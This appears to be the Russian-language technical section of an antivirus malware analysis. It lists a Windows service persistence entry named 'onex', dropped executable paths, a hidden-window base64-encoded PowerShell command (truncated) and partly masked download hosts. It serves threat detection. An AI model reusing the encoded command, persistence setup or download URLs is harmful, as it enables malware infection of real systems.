Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\onex] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\onex] 'ImagePath' = '"%WINDIR%\SysWOW64\UIRibbon\onex.exe"'
- 'onex' "%WINDIR%\SysWOW64\UIRibbon\onex.exe"
- 'onex' %WINDIR%\SysWOW64\UIRibbon\onex.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAH...
- %HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe
- %WINDIR%\syswow64\uiribbon\onex.exe
- %HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe в %WINDIR%\syswow64\uiribbon\onex.exe
- '50.##1.220.50':80
- http://fo#######nsathletefactory.com/wp-admin/i/
- http://50.##1.220.50/3Nwr/
- DNS ASK fo#######nsathletefactory.com
- '%HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe'
- '%WINDIR%\syswow64\uiribbon\onex.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAH...' (со скрытым окном)